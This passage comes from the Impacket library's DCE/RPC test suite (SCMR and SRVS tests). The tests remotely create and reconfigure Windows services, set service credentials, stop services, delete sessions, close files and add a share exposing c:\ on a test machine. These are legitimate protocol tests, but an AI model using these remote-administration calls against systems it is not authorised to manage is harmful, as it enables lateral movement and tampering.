scHandle, 'TESTSVC\\x00', 'DisplayName\\x00', 'binaryPath\\x00')\n\n        # Aca hay que chequear cada uno de los items\n        cbBufSize = 0\n        try:\n            resp = scmr.hRQueryServiceConfigW(dce, newHandle)\n        except scmr.DCERPCSessionError as e:\n            if str(e).find('ERROR_INSUFFICIENT_BUFFER') <= 0:\n                raise\n            else: \n                resp = e.get_packet()\n\n        resp.dump()\n        cbBufSize = resp['pcbBytesNeeded']+100\n\n        # Now that we have cbBufSize, let's start changing everything on the service\n        dwServiceType = scmr.SERVICE_WIN32_SHARE_PROCESS\n        dwStartType = scmr.SERVICE_NO_CHANGE\n        dwErrorControl = scmr.SERVICE_NO_CHANGE\n        lpBinaryPathName = NULL\n        lpLoadOrderGroup = NULL\n        lpDependencies = NULL\n        dwDependSize = 0\n        lpServiceStartName = NULL\n        lpPassword = NULL\n        dwPwSize = 0\n        lpDisplayName = NULL\n        lpdwTagId = NULL\n\n        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) \n        dwServiceType = scmr.SERVICE_NO_CHANGE        \n\n        dwStartType = scmr.SERVICE_DISABLED\n        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) \n        dwStartType = scmr.SERVICE_NO_CHANGE        \n\n        dwErrorControl = scmr.SERVICE_ERROR_SEVERE\n        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) \n        dwErrorControl = scmr.SERVICE_NO_CHANGE        \n\n        lpBinaryPathName = 'BETOBETO\\x00'\n        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) \n        lpBinaryPathName = NULL \n\n        lpLoadOrderGroup = 'KKKK\\x00'\n        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) \n        lpLoadOrderGroup = NULL\n\n        #lpdwTagId = [0]\n        #self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) \n        #lpdwTagId = ''\n\n        lpDependencies = 'RemoteRegistry\\x00\\x00'.encode('utf-16le')\n        dwDependSize = len(lpDependencies)\n        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) \n        lpDependencies = NULL\n        dwDependSize = 0\n\n        lpServiceStartName = '.\\\\Administrator\\x00'\n        self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) \n        lpServiceStartName = NULL\n\n        if self.__class__.__name__ == 'SMBTransport':\n            lpPassword = 'mypwd\\x00'.encode('utf-16le')\n            s = rpc_transport.get_smb_connection()\n            key = s.getSessionKey()\n            lpPassword = encryptSecret(key, lpPassword)\n            dwPwSize = len(lpPassword)\n            self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) \n            lpPassword = NULL\n            dwPwSize = 0\n\n            lpDisplayName = 'MANOLO\\x00'\n            self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) \n\n        scmr.hRDeleteService(dce, newHandle)\n        scmr.hRCloseServiceHandle(dce, newHandle)\n        scmr.hRCloseServiceHandle(dce, scHandle)\n\n    def test_query(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n\n        ############################\n        # Query Service Status / Enum Dependent\n        lpServiceName = 'PlugPlay\\x00'\n        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS\n\n        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )\n        resp.dump()\n\n        serviceHandle = resp['lpServiceHandle']\n \n        scmr.hRQueryServiceStatus(dce, serviceHandle)\n\n        cbBufSize = 0\n        try:\n            resp = scmr.hREnumDependentServicesW(dce, serviceHandle, scmr.SERVICE_STATE_ALL,cbBufSize )\n            resp.dump()\n        except scmr.DCERPCSessionError as e:\n           if str(e).find('ERROR_MORE_DATA') <= 0:\n               raise\n           else:\n               resp = e.get_packet()\n\n        resp.dump()\n        cbBufSize = resp['pcbBytesNeeded']\n        resp = scmr.hREnumDependentServicesW(dce, serviceHandle, scmr.SERVICE_STATE_ALL,cbBufSize )\n        resp.dump()\n        scmr.hRCloseServiceHandle(dce, serviceHandle)\n        scmr.hRCloseServiceHandle(dce, scHandle)\n\n    def test_lock_unlock(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n        \n        resp = scmr.hRLockServiceDatabase(dce, scHandle)\n        lockHandle = resp['lpLock']\n        scmr.hRUnlockServiceDatabase(dce, lockHandle)\n\n        scmr.hRCloseServiceHandle(dce, scHandle)\n\n    def test_query_set_object_security(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n        try:\n            resp = scmr.hRQueryServiceObjectSecurity(dce, scHandle, scmr.DACL_SECURITY_INFORMATION, 0)\n            resp.dump()\n        except scmr.DCERPCException as e:\n           if str(e).find('rpc_s_access_denied') <= 0:\n               raise\n        scmr.hRCloseServiceHandle(dce, scHandle)\n\n    @pytest.mark.skip(reason=\"Long running test\")\n    def test_notify_config(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n        lpMachineName = 'DUMMY\\x00'\n        \n        try:\n            resp = scmr.hRNotifyBootConfigStatus(dce, lpMachineName, 0x0)\n            resp.dump()\n        except scmr.DCERPCSessionError as e:\n           if str(e).find('ERROR_BOOT_ALREADY_ACCEPTED') <= 0:\n               raise\n \n        scmr.hRCloseServiceHandle(dce, scHandle)\n\n    def test_RControlServiceCall(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n        lpServiceName = 'CryptSvc\\x00'\n        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS\n\n        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )\n        resp.dump()\n\n        serviceHandle = resp['lpServiceHandle']\n \n        try:\n            req = scmr.RControlService()\n            req['hService'] = serviceHandle\n            req['dwControl'] = scmr.SERVICE_CONTROL_STOP\n            dce.request(req)\n        except scmr.DCERPCSessionError as e:\n            if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0 and str(e).find('ERROR_SERVICE_NOT_ACTIVE') < 0:\n                raise\n            pass\n\n        scmr.hRCloseServiceHandle(dce, serviceHandle)\n        time.sleep(1)\n        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )\n        resp.dump()\n\n        serviceHandle = resp['lpServiceHandle']\n\n        try:\n            resp = scmr.hRStartServiceW(dce, serviceHandle, 0, NULL )\n            resp.dump()\n        except scmr.DCERPCSessionError as e:\n            if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') < 0:\n                raise\n        return \n\n\n@pytest.mark.remote\nclass SCMRTestsSMBTransport(SCMRTests, unittest.TestCase):\n    string_binding = r\"ncacn_np:{0.machine}[\\pipe\\svcctl]\"\n\n\n@pytest.mark.remote\nclass SCMRTestsTCPTransport(SCMRTests, unittest.TestCase):\n    protocol = \"ncacn_ip_tcp\"\n    authn_level = ntlm.NTLM_AUTH_PKT_PRIVACY\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_srvs.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)NetrConnectionEnum\n#   (h)NetrFileEnum\n#   (h)NetrFileGetInfo\n#   (h)NetrFileClose\n#   (h)NetrSessionEnum\n#   (h)NetrSessionDel\n#   (h)NetrShareAdd\n#   (h)NetrShareDel\n#   (h)NetrShareEnum\n#   (h)NetrShareEnumSticky\n#   (h)NetrShareGetInfo\n#   (h)NetrShareDelSticky\n#   (h)NetrShareDelStart\n#   (h)NetrShareDelCommit\n#   (h)NetrShareCheck\n#   (h)NetrServerGetInfo\n#   (h)NetrServerDiskEnum\n#   (h)NetrServerStatisticsGet\n#   (h)NetrRemoteTOD\n#   (h)NetrServerTransportEnum\n#   (h)NetrpGetFileSecurity\n#   (h)NetrpSetFileSecurity\n#   (h)NetprPathType\n#   (h)NetprPathCanonicalize\n#   (h)NetprPathCompare\n#   (h)NetprNameValidate\n#   (h)NetprNameCanonicalize\n#   (h)NetprNameCompare\n#   (h)NetrDfsGetVersion\n#   (h)NetrDfsModifyPrefix\n#   (h)NetrDfsFixLocalVolume\n#   (h)NetrDfsManagerReportSiteInfo\n#   (h)NetrServerAliasAdd\n#   (h)NetrServerAliasEnum\n#   (h)NetrServerAliasDel\n#   NetrShareDelEx\n#   NetrServerTransportAdd\n#   NetrServerTransportDel\n#   NetrServerTransportAddEx\n#   NetrServerTransportDelEx\n#   NetrDfsCreateLocalPartition\n#   NetrDfsDeleteLocalPartition\n#   NetrDfsSetLocalVolumeState\n#   NetrDfsCreateExitPoint\n#   NetrDfsDeleteExitPoint\n#   NetrShareSetInfo\n#\n# Not yet:\n#   NetrServerSetInfo\n#\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport pytest\nimport unittest\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import srvs\nfrom impacket.dcerpc.v5.dtypes import NULL, OWNER_SECURITY_INFORMATION\n\n\nclass SRVSTests(DCERPCTests):\n    iface_uuid = srvs.MSRPC_UUID_SRVS\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\srvsvc]\"\n    authn = True\n\n    def test_NetrConnectionEnum(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrConnectionEnum()\n        request['ServerName'] = '\\\\\\\\%s\\x00' % self.machine\n        request['Qualifier'] = 'IPC$\\x00'\n        request['InfoStruct']['Level'] = 1\n        request['InfoStruct']['ConnectInfo']['tag'] = 1\n        request['PreferedMaximumLength'] = 8192\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['Level'] = 0\n        request['InfoStruct']['ConnectInfo']['tag'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrConnectionEnum(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrConnectionEnum(dce, 'IPC$\\x00', 1)\n        resp.dump()\n\n        resp = srvs.hNetrConnectionEnum(dce, 'IPC$\\x00', 0)\n        resp.dump()\n\n    def test_NetrFileEnum(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrFileEnum()\n        request['ServerName'] = '\\\\\\\\%s\\x00' % self.machine\n        request['BasePath'] = NULL\n        request['UserName'] = NULL\n        request['InfoStruct']['Level'] = 2\n        request['InfoStruct']['FileInfo']['tag'] = 2\n        request['PreferedMaximumLength'] = 8192\n        resp = dce.request(request)\n        resp.dump()\n        request['InfoStruct']['Level'] = 3\n        request['InfoStruct']['FileInfo']['tag'] = 3\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrFileEnum(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrFileEnum(dce, NULL, NULL, 2)\n        resp.dump()\n\n        resp = srvs.hNetrFileEnum(dce, NULL, NULL, 3)\n        resp.dump()\n\n    def test_NetrFileGetInfo(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrFileEnum()\n        request['ServerName'] = '\\\\\\\\%s\\x00' % self.machine\n        request['BasePath'] = NULL\n        request['UserName'] = NULL\n        request['InfoStruct']['Level'] = 2\n        request['InfoStruct']['FileInfo']['tag'] = 2\n        request['PreferedMaximumLength'] = 8192\n        resp = dce.request(request)\n        resp.dump()\n\n        request = srvs.NetrFileGetInfo()\n        request['ServerName'] = '\\\\\\\\%s\\x00' % self.machine\n        request['FileId'] = resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id']\n        request['Level'] = 2\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 3\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrFileGetInfo(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrFileEnum(dce, NULL, NULL, 2)\n        resp.dump()\n\n        resp0 = srvs.hNetrFileGetInfo(dce, resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id'], 2)\n        resp0.dump()\n\n        resp = srvs.hNetrFileGetInfo(dce, resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id'], 3)\n        resp.dump()\n\n    def test_NetrFileClose(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrFileEnum()\n        request['ServerName'] = '\\\\\\\\%s\\x00' % self.machine\n        request['BasePath'] = NULL\n        request['UserName'] = NULL\n        request['InfoStruct']['Level'] = 2\n        request['InfoStruct']['FileInfo']['tag'] = 2\n        request['PreferedMaximumLength'] = 8192\n        resp = dce.request(request)\n        resp.dump()\n\n        request = srvs.NetrFileClose()\n        request['ServerName'] = '\\\\\\\\%s\\x00' % self.machine\n        request['FileId'] = resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id']\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            # I might be closing myself ;)\n            if str(e).find('STATUS_PIPE_BROKEN') < 0 and str(e).find('STATUS_FILE_CLOSED') < 0 and str(e).find('STATUS_INVALID_HANDLE') < 0 and str(e).find('0x90a') < 0:\n                raise\n\n    def test_hNetrFileClose(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrFileEnum(dce, NULL, NULL, 2)\n        resp.dump()\n\n        try:\n            resp = srvs.hNetrFileClose(dce, resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id'])\n            resp.dump()\n        except Exception as e:\n            # I might be closing myself ;)\n            if str(e).find('STATUS_PIPE_BROKEN') < 0 and str(e).find('STATUS_FILE_CLOSED') < 0 and str(e).find('STATUS_INVALID_HANDLE') < 0 and str(e).find('0x90a') < 0:\n                raise\n\n    def test_NetrSessionEnum(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrSessionEnum()\n        request['ServerName'] = NULL\n        request['ClientName'] = NULL\n        request['UserName'] = NULL\n        request['InfoStruct']['Level'] = 0\n        request['InfoStruct']['SessionInfo']['tag'] = 0\n        request['InfoStruct']['SessionInfo']['Level0']['Buffer'] = NULL\n        request['PreferedMaximumLength'] = 0xffffffff\n        request['ResumeHandle'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['Level'] = 1\n        request['InfoStruct']['SessionInfo']['tag'] = 1\n        request['InfoStruct']['SessionInfo']['Level1']['Buffer'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['Level'] = 2\n        request['InfoStruct']['SessionInfo']['tag'] = 2\n        request['InfoStruct']['SessionInfo']['Level2']['Buffer'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['Level'] = 10\n        request['InfoStruct']['SessionInfo']['tag'] = 10\n        request['InfoStruct']['SessionInfo']['Level10']['Buffer'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['Level'] = 502\n        request['InfoStruct']['SessionInfo']['tag'] = 502\n        request['InfoStruct']['SessionInfo']['Level502']['Buffer'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrSessionEnum(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0)\n        resp.dump()\n\n        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 1)\n        resp.dump()\n\n        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 2)\n        resp.dump()\n\n        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)\n        resp.dump()\n\n        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)\n        resp.dump()\n\n    def test_NetrSessionDel(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrSessionEnum()\n        request['ServerName'] = NULL\n        request['ClientName'] = NULL\n        request['UserName'] = NULL\n        request['InfoStruct']['Level'] = 502\n        request['InfoStruct']['SessionInfo']['tag'] = 502\n        request['InfoStruct']['SessionInfo']['Level502']['Buffer'] = NULL\n        request['PreferedMaximumLength'] = 0xffffffff\n        request['ResumeHandle'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request = srvs.NetrSessionDel()\n        request['ServerName'] = NULL\n        request['ClientName'] = resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_cname']\n        request['UserName'] = resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_username']\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except srvs.DCERPCSessionError as e:\n            if e.get_error_code() != 0x908:\n                raise\n\n    def test_hNetrSessionDel(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)\n        resp.dump()\n\n        try:\n            resp = srvs.hNetrSessionDel(dce, resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_cname'], resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_username'] )\n            resp.dump()\n        except srvs.DCERPCSessionError as e:\n            if e.get_error_code() != 0x908:\n                raise\n\n    def test_NetrShareAdd_NetrShareDel(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrShareAdd()\n        request['ServerName'] = NULL\n        request['Level'] = 2\n        request['InfoStruct']['tag'] = 2\n        request['InfoStruct']['ShareInfo2']['shi2_netname'] = 'BETUSHARE\\x00'\n        request['InfoStruct']['ShareInfo2']['shi2_type'] = srvs.STYPE_TEMPORARY\n        request['InfoStruct']['ShareInfo2']['shi2_remark'] = 'My Remark\\x00'\n        request['InfoStruct']['ShareInfo2']['shi2_max_uses'] = 0xFFFFFFFF\n        request['InfoStruct']['ShareInfo2']['shi2_path'] = 'c:\\\\\\x00'\n        request['InfoStruct']['ShareInfo2']['shi2_passwd'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request = srvs.NetrShareDel()\n        request['ServerName'] = NULL\n        request['NetName'] = 'BETUSHARE\\x00'\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrShareAdd_hNetrShareDel(self):\n        dce, rpc_transport = self.connect()\n        shareInfo = srvs.SHARE_INFO_2()\n        shareInfo['shi2_netname'] = 'BETUSHARE\\x00'\n        shareInfo['shi2_type'] = srvs.STYPE_TEMPORARY\n        shareInfo['shi2_remark'] = 'My Remark\\x00'\n        shareInfo['shi2_max_uses'] = 0xFFFFFFFF\n        shareInfo['shi2_path'] = 'c:\\\\\\x00'\n        shareInfo['shi2_passwd'] = NULL\n        resp = srvs.hNetrShareAdd(dce, 2, shareInfo)\n        resp.dump()\n\n        resp = srvs.hNetrShareDel(dce, 'BETUSHARE\\x00')\n        resp.dump()\n\n    def test_NetrShareEnum(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrShareEnum()\n        request['ServerName'] = NULL\n        request['PreferedMaximumLength'] = 0xffffffff\n        request['ResumeHandle'] = NULL\n        request['InfoStruct']['ShareInfo']['tag'] = 0\n        request['InfoStruct']['ShareInfo']['Level0']['Buffer'] = NULL\n        request['InfoStruct']['Level'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['ShareInfo']['tag'] = 1\n        request['InfoStruct']['ShareInfo']['Level1']['Buffer'] = NULL\n        request['InfoStruct']['Level'] = 1\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['ShareInfo']['tag'] = 2\n        request['InfoStruct']['ShareInfo']['Level2']['Buffer'] = NULL\n        request['InfoStruct']['Level'] = 2\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['ShareInfo']['tag'] = 501\n        request['InfoStruct']['ShareInfo']['Level501']['Buffer'] = NULL\n        request['InfoStruct']['Level'] = 501\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['ShareInfo']['tag'] = 502\n        request['InfoStruct']['ShareInfo']['Level502']['Buffer'] = NULL\n        request['InfoStruct']['Level'] = 502\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['ShareInfo']['tag'] = 503\n        request['InfoStruct']['ShareInfo']['Level503']['Buffer'] = NULL\n        request['InfoStruct']['Level'] = 503\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrShareEnum(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrShareEnum(dce, 0)\n        resp.dump()\n\n        resp = srvs.hNetrShareEnum(dce, 1)\n        resp.dump()\n\n        resp = srvs.hNetrShareEnum(dce, 2)\n        resp.dump()\n\n        resp = srvs.hNetrShareEnum(dce, 501)\n        resp.dump()\n\n        resp = srvs.hNetrShareEnum(dce, 502)\n        resp.dump()\n\n        resp = srvs.hNetrShareEnum(dce, 503)\n        resp.dump()\n\n    def tes_NetrShareEnumSticky(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrShareEnumSticky()\n        request['ServerName'] = NULL\n        request['PreferedMaximumLength'] = 0xffffffff\n        request['ResumeHandle'] = NULL\n        request['InfoStruct']['ShareInfo']['tag'] = 502\n        request['InfoStruct']['ShareInfo']['Level502']['Buffer'] = NULL\n        request['InfoStruct']['Level'] = 502\n        resp = dce.request(request)\n        resp.dump()\n\n        request['InfoStruct']['ShareInfo']['tag'] = 503\n        request['InfoStruct']['ShareInfo']['Level503']['Buffer'] = NULL\n        request['InfoStruct']['Level'] = 503\n        resp = dce.request(request)\n        resp.dump()\n\n    def tes_hNetrShareEnumSticky(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrShareEnumSticky(dce, 502)\n        resp.dump()\n\n        resp = srvs.hNetrShareEnumSticky(dce, 503)\n        resp.dump()\n\n    def test_NetrShareGetInfo(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrShareGetInfo()\n        request['ServerName'] = NULL\n        request['NetName'] = 'IPC$\\x00'\n        request['Level'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 1\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 2\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 501\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 502\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 503\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 1005\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrShareGetInfo(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\\x00', 0)\n        resp.dump()\n\n        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\\x00', 1)\n        resp.dump()\n\n        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\\x00', 2)\n        resp.dump()\n\n        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\\x00', 501)\n        resp.dump()\n\n        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\\x00', 502)\n        resp.dump()\n\n        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\\x00', 503)\n        resp.dump()\n\n        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\\x00', 1005)\n        resp.dump()\n\n    def test_NetrShareSetInfo(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrShareGetInfo()\n        request['ServerName'] = NULL\n        request['NetName'] = 'IPC$\\x00'\n        request['Level'] = 1\n        resp = dce.request(request)\n        resp.dump()\n        oldValue = resp['InfoStruct']['ShareInfo1']['shi1_remark']\n\n        req = srvs.NetrShareSetInfo()\n        req['ServerName'] = NULL\n        req['NetName'] = 'IPC$\\x00'\n        req['Level'] = 1\n        req['ShareInfo']['tag'] = 1\n        req['ShareInfo']['ShareInfo1'] = resp['InfoStruct']['ShareInfo1']\n        req['ShareInfo']['ShareInfo1']['shi1_remark'] = 'BETUS\\x00'\n        resp = dce.request(req)\n        resp.dump()\n\n        resp = dce.request(request)\n        resp.dump()\n\n        req['ShareInfo']['ShareInfo1']['shi1_remark'] = oldValue\n        resp = dce.request(req)\n        resp.dump()\n\n    def test_hNetrShareSetInfo(self):\n        dce, rpc_transport = self.connect()\n        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\\x00', 1)\n        resp.dump()\n        oldValue = resp['InfoStruct']['ShareInfo1']['shi1_remark']\n\n        shareInfo = resp['InfoStruct']['ShareInfo1']\n        shareInfo['shi1_remark'] = 'BETUS\\x00'\n        resp = srvs.hNetrShareSetInfo(dce, 'IPC$\\x00', 1, shareInfo)\n        resp.dump()\n\n        resp = srvs.hNetrShareGetInfo(dce, 'IPC$\\x00', 1)\n        resp.dump()\n\n        shareInfo['shi1_remark'] = oldValue\n        resp = srvs.hNetrShareSetInfo(dce, 'IPC$\\x00', 1, shareInfo)\n        resp.dump()\n\n    def tes_hNetrShareDelSticky(self):\n        dce, rpc_transport = self.connect()\n\n        shareInfo = srvs.SHARE_INFO_2()\n        shareInfo['shi2_netname'] = 'BETUSHARE\\x00'\n        shareInfo['shi2_type'] = 0\n        shareInfo['shi2_remark'] = 'My Remark\\x00'\n        shareInfo['shi2_max_uses'] = 0xFFFFFFFF\n        shareInfo['shi2_path'] = 'c:\\\\\\x00'\n        shareInfo['shi2_passwd'] = NULL\n        resp = srvs.hNetrShareAdd(dce, 2, shareInfo)\n        resp.dump()\n\n        resp = srvs.hNetrShareDelSticky(dce, 'BETUSHARE\\x00')\n        resp.dump()\n\n        resp = srvs.hNetrShareDel(dce, 'BETUSHARE\\x00')\n        resp.dump()\n\n    def tes_NetrShareDelSticky(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrShareAdd()\n        request['ServerName'] = NULL\n        request['Level'] = 2\n        request['InfoStruct']['tag'] = 2\n        request['InfoStruct']['ShareInfo2']['shi2_netname'] = 'BETUSHARE\\x00'\n        request['InfoStruct']['ShareInfo2']['shi2_type'] = 0\n        request['InfoStruct']['ShareInfo2']['shi2_remark'] = 'My Remark\\x00'\n        request['InfoStruct']['ShareInfo2']['shi2_max_uses'] = 0xFFFFFFFF\n        request['InfoStruct']['ShareInfo2']['shi2_path'] = 'c:\\\\\\x00'\n        request['InfoStruct']['ShareInfo2']['shi2_passwd'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request = srvs.NetrShareDelSticky()\n        request['ServerName'] = NULL\n        request['NetName'] = 'BETUSHARE\\x00'\n        resp = dce.request(request)\n        resp.dump()\n\n        request = srvs.NetrShareDel()\n        request['ServerName'] = NULL\n        request['NetName'] = 'BETUSHARE\\x00'\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_NetrShareDelStart_NetrShareDelCommit(self):\n        dce, rpc_transport = self.connect()\n        request = srvs.NetrShareAdd()\n        request['ServerName'] = NULL\n        request['Level'] = 2\n        request['InfoStruct']['tag'] = 2\n        request['InfoStruct']['ShareInfo2']['shi2_netname'] = 'BETUSHARE\\x00'\n        request['InfoStruct']['ShareInfo2']['shi2_type'] = 0\n        request['InfoStruct']['ShareInfo2']['shi2_remark'] = 'My Remark\\x00'\n        request['InfoStruct']['ShareInfo2']['shi2_max_uses'] = 0xFFFFFFFF\n        request['InfoStruct']['ShareInfo2']['shi2_path'] = 'c:\\\\\\x00'\n        request['InfoStruct']['ShareInfo2']['shi2_passwd'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request = srvs.NetrShareDelStart()\n        request['ServerName'] = NULL\n        request['NetName'] = 'BETUSHARE\\x00'\n        resp = dce.request(request)\n        resp.dump()\n\n        request = srvs.NetrShareDelCommit()\n        request['ContextHandle'] = resp['ContextHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrShareDelStart_hNetrShareDelCommit(self):\n        dce, rpc_transport = self.connect()\n\n        shareInfo = srvs.SHARE_INFO_2()\n        